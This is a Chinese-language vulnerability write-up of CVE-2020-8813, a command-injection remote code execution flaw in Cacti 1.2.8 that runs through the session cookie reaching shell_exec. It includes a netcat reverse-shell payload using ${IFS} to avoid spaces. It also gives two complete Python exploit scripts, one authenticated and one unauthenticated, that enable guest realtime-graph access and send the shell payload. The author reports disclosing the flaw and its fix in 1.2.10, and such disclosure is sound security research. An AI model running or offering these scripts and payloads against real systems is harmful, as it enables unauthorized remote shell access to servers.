CVE-2020-8813：Cacti v1.2.8 中经过身份验证的RCE漏洞分析

关于Cacti

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti通过 snmpget来获取数据，使用 RRDtool绘画图形，而且你完全可以不需要了解RRDtool复杂的参数。它提供了非常强大的数据和用户管理功能，可以指定每一个用户能查看树状结构、host以及任何一张图，还可以与LDAP结合进行用户验证，同时也能自己增加模板，功能非常强大完善。界面友好。软件 Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件，除了基本的 Snmp 流量跟系统资讯监控外，Cacti 也可外挂 Scripts 及加上 Templates 来作出各式各样的监控图。

cacti是用php语言实现的一个软件，它的主要功能是用snmp服务获取数据，然后用rrdtool储存和更新数据，当用户需要查看数据的时候用rrdtool生成图表呈现给用户。因此，snmp和rrdtool是cacti的关键。Snmp关系着数据的收集，rrdtool关系着数据存储和图表的生成。

漏洞利用分析

我在分析Cacti主要代码中的多个功能函数时，发现了这个漏洞。我需要结合多个漏洞利用因素才能实现代码执行，当攻击者尝试向“Cacti”这个Cookie变量中注入恶意代码时，便会触发这个漏洞，而这个变量在与一些字符串合并之后将会被传递给shell_exec函数。但是当我尝试修改这个cookie值时遇到了身份验证的问题，而这个问题使我无法访问到目标页面，但是我发现这个包含漏洞的页面是能够以“Guest”身份访问的，这样就不需要进行身份验证了，所以我修改了漏洞利用代码，并使用“Guest”身份来访问页面“graph_realtime.php”，然后发送恶意请求来在目标主机上实现代码执行。

首先，我们需要向“user_admin.php”页面发送一个请求来启用“realtime_graph”的访客权限，然后再向“graph_realtime.php”页面发送恶意请求。

接下来，我使用了这个常用的RCE扫描脚本【RECScanner】来在Cacti中搜索RCE漏洞。

运行脚本后，我在“graph_realtime.php”文件中发现了一个非常有意思的东西：

graph_realtime.php

/* call poller */    $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';    $command   = read_config_option('path_php_binary');    $args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);    shell_exec("$command $args");    /* construct the image name  */    $graph_data_array['export_realtime'] = $graph_rrd;    $graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;    $null_param = array();

我们可以看到上述代码中的第4和第5行，我们收到了一些参数，还有一个名叫“get_request_var”的函数，该函数的作用如下：

html_utility.php

function get_request_var($name, $default = '') {        global $_CACTI_REQUEST;        $log_validation = read_config_option('log_validation');        if (isset($_CACTI_REQUEST[$name])) {            return $_CACTI_REQUEST[$name];        } elseif (isset_request_var($name)) {            if ($log_validation == 'on') {                html_log_input_error($name);            }            set_request_var($name, $_REQUEST[$name]);            return $_REQUEST[$name];        } else {            return $default;        }    }

我们可以看到，这个函数可以处理输入数据并通过函数“set_request_var”来设置参数值，而这个函数的相关代码如下：

html_utility.php

function set_request_var($variable, $value) {        global $_CACTI_REQUEST;        $_CACTI_REQUEST[$variable] = $value;        $_REQUEST[$variable]       = $value;        $_POST[$variable]          = $value;        $_GET[$variable]           = $value;    }

接下来，回到我们的“graph_realtime.php”页面，我们可以控制下列输入：

local_graph_id    The value of $graph_data_array[‘ds_step’]

但是，我们注意到“graph_realtime.php”文件中的第4行，它使用了sprintf()函数来处理输入，而第一个值“graph”的内容为“local_graph_id”，而这个值是我们可以控制的！又但是，一个名叫“get_filter_request_var”的函数会对这个值进行过滤，我们可以看到，它在“graph_realtime.php”中已经被过滤了：

html_utility.php

function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {        if (isset_request_var($name)) {            if (isempty_request_var($name)) {                set_request_var($name, get_nfilter_request_var($name));                return get_request_var($name);            } elseif (get_nfilter_request_var($name) == 'undefined') {                if (isset($options['default'])) {                    set_request_var($name, $options['default']);                    return $options['default'];                } else {                    set_request_var($name, '');                    return '';                }            } else {                if (get_nfilter_request_var($name) == '0') {                    $value = '0';                } elseif (get_nfilter_request_var($name) == 'undefined') {                    if (isset($options['default'])) {                        $value = $options['default'];                    } else {                        $value = '';                    }                } elseif (isempty_request_var($name)) {                    $value = '';                } elseif ($filter == FILTER_VALIDATE_IS_REGEX) {                    if (is_base64_encoded($_REQUEST[$name])) {                        $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));                    }                    $valid = validate_is_regex($_REQUEST[$name]);                    if ($valid === true) {                        $value = $_REQUEST[$name];                    } else {                        $value = false;                        $custom_error = $valid;                    }                } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {                    $valid = true;                    if (is_array($_REQUEST[$name])) {                        foreach($_REQUEST[$name] AS $number) {                            if (!is_numeric($number)) {                                $valid = false;                                break;                            }                        }                    } else {                        $valid = false;                    }                    if ($valid == true) {                        $value = $_REQUEST[$name];                    } else {                        $value = false;                    }                } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {                    $valid = true;                    $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);                    foreach($values AS $number) {                        if (!is_numeric($number)) {                            $valid = false;                            break;                        }                    }                    if ($valid == true) {                        $value = $_REQUEST[$name];                    } else {                        $value = false;                    }                } elseif (!cacti_sizeof($options)) {                    $value = filter_var($_REQUEST[$name], $filter);                } else {                    $value = filter_var($_REQUEST[$name], $filter, $options);                }            }            if ($value === false) {                if ($filter == FILTER_VALIDATE_IS_REGEX) {                    $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));                    set_request_var($name, '');                    raise_message('custom_error');                } else {                    die_html_input_error($name, get_nfilter_request_var($name));                }            } else {                set_request_var($name, $value);                return $value;            }        } else {            if (isset($options['default'])) {                set_request_var($name, $options['default']);                return $options['default'];            } else {                return;            }        }    }

这个函数将会对输入数据进行过滤，然后返回一个“干净的”变量并传递给下一个函数。

对于第二个变量“$graph_data_array[‘ds_step’]”，它已经通过sprintf()进行处理了（%d），这也就意味着它会变成一个十进制值，所以我们无法用它来注入我们的恶意命令。

接下来，我们再看看下面这段代码：

graph_realtime.php

/* call poller */    $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';    $command   = read_config_option('path_php_binary');    $args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);    shell_exec("$command $args");    /* construct the image name  */    $graph_data_array['export_realtime'] = $graph_rrd;    $graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;    $null_param = array();

我们看到了另一个传递给shell_exec函数的变量，而这个变量的值就是session_id()函数返回的值，这个函数可以返回当前用户会话的值，也就是说，我们可以用它来注入我们的命令。

等一下，如果我们修改了会话，那我们就无法访问目标页面了，因为这个页面要求用户在经过了身份验证之后才能访问。研究之后我又发现，如果我们启用了一个名叫“Realtime Graphs”的特殊权限之后，我们就能够以访客身份访问这个页面了：

接下来，我们尝试在不开启“Guest Realtime Graphs”权限的情况下访问该页面：

正如我们所见，由于权限问题，我们现在无法访问这个页面，现在我们重新开启该权限，然后访问该页面：

很好，接下来我们发送“graph_realtime.php”页面请求，然后在代码中添加一条“echo”语句来输出传递给shell_exec函数的值：

如图所示，我们将会话打印了出来，接下来我们尝试向会话中注入自定义字符串：

非常好，我们成功实现了注入。

Payload开发

成功控制了会话值之后，我们需要用它来在目标系统中实现代码执行，但由于它本质上还是一个会话值，因此我们无法使用一些特殊字符，所以我们需要开发一个“对会话友好的”Payload。

比如说，如果对字符串“Hi Payload”进行编码，然后传递给应用程序，我们将会看到：

我们可以看到，应用程序设置了一个Cookie给我们，而不是我们所注入的那个，为了解决这个问题，我们需要使用一个自定义的Payload。

为了避免使用空格字符，我打算使用“${IFS}”这个Bash变量来代表一个空格。

当然了，我们还需要使用“;”来转义命令：

;payload

如果我们想使用netcat来获取一个Shell，我们还需要创建下列Payload：

;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port

我们先对Payload进行编码：

然后将其发送给应用程序：

很好，我们的Payload执行成功了，并拿到了一个Shell。

漏洞利用代码

为了实现整个漏洞利用的自动化过程，我编写了一个Python脚本来利用该漏洞：

#!/usr/bin/python3    # Exploit Title: Cacti v1.2.8 Remote Code Execution    # Date: 03/02/2020    # Exploit Author: Askar (@mohammadaskar2)    # CVE: CVE-2020-8813    # Vendor Homepage: https://cacti.net/    # Version: v1.2.8    # Tested on: CentOS 7.3 / PHP 7.1.33    import requests    import sys    import warnings    from bs4 import BeautifulSoup    from urllib.parse import quote    warnings.filterwarnings("ignore", category=UserWarning, module='bs4')    if len(sys.argv) != 6:        print("[~] Usage : ./Cacti-exploit.py url username password ip port")        exit()    url = sys.argv[1]    username = sys.argv[2]    password = sys.argv[3]    ip = sys.argv[4]    port = sys.argv[5]    def login(token):        login_info = {        "login_username": username,        "login_password": password,        "action": "login",        "__csrf_magic": token        }        login_request = request.post(url+"/index.php", login_info)        login_text = login_request.text        if "Invalid User Name/Password Please Retype" in login_text:            return False        else:            return True    def enable_guest(token):        request_info = {        "id": "3",        "section25": "on",        "section7": "on",        "tab": "realms",        "save_component_realm_perms": 1,        "action": "save",        "__csrf_magic": token        }        enable_request = request.post(url+"/user_admin.php?header=false", request_info)        if enable_request:            return True        else:            return False    def send_exploit():        payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)        cookies = {'Cacti': quote(payload)}        requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)    request = requests.session()    print("[+]Retrieving login CSRF token")    page = request.get(url+"/index.php")    html_content = page.text    soup = BeautifulSoup(html_content, "html5lib")    token = soup.findAll('input')[0].get("value")    if token:        print("[+]Token Found : %s" % token)        print("[+]Sending creds ..")        login_status = login(token)        if login_status:            print("[+]Successfully LoggedIn")            print("[+]Retrieving CSRF token ..")            page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")            html_content = page.text            soup = BeautifulSoup(html_content, "html5lib")            token = soup.findAll('input')[1].get("value")            if token:                print("[+]Making some noise ..")                guest_realtime = enable_guest(token)                if guest_realtime:                    print("[+]Sending malicous request, check your nc ;)")                    send_exploit()                else:                    print("[-]Error while activating the malicous account")            else:                print("[-] Unable to retrieve CSRF token from admin page!")                exit()        else:            print("[-]Cannot Login!")    else:        print("[-] Unable to retrieve CSRF token!")    exit()

运行了漏洞利用代码之后，我们将会看到：

再一次成功拿到了Shell！

未经身份认证的漏洞利用

如果Cacti启用了“Guest Realtime Graphs”权限，那么我们就可以在未经身份验证的情况下利用该漏洞了。下面给出的是这种场景下的漏洞利用代码：

#!/usr/bin/python3    # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution    # Date: 03/02/2020    # Exploit Author: Askar (@mohammadaskar2)    # CVE: CVE-2020-8813    # Vendor Homepage: https://cacti.net/    # Version: v1.2.8    # Tested on: CentOS 7.3 / PHP 7.1.33    import requests    import sys    import warnings    from bs4 import BeautifulSoup    from urllib.parse import quote    warnings.filterwarnings("ignore", category=UserWarning, module='bs4')    if len(sys.argv) != 4:        print("[~] Usage : ./Cacti-exploit.py url ip port")        exit()    url = sys.argv[1]    ip = sys.argv[2]    port = sys.argv[3]    def send_exploit(url):        payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)        cookies = {'Cacti': quote(payload)}        path = url+"/graph_realtime.php?action=init"        req = requests.get(path)        if req.status_code == 200 and "poller_realtime.php" in req.text:            print("[+] File Found and Guest is enabled!")            print("[+] Sending malicous request, check your nc ;)")            requests.get(path, cookies=cookies)        else:            print("[+] Error while requesting the file!")    send_exploit(url)

我们可以看到，在这种场景下同样能够成功利用该漏洞。

漏洞披露

在发现该问题之后，我们便将完整的PoC上报给了Cacti的团队，他们也在第一时间修复了该漏洞并发布了漏洞补丁，从Cacti v1.2.10开始将不再受此漏洞的影响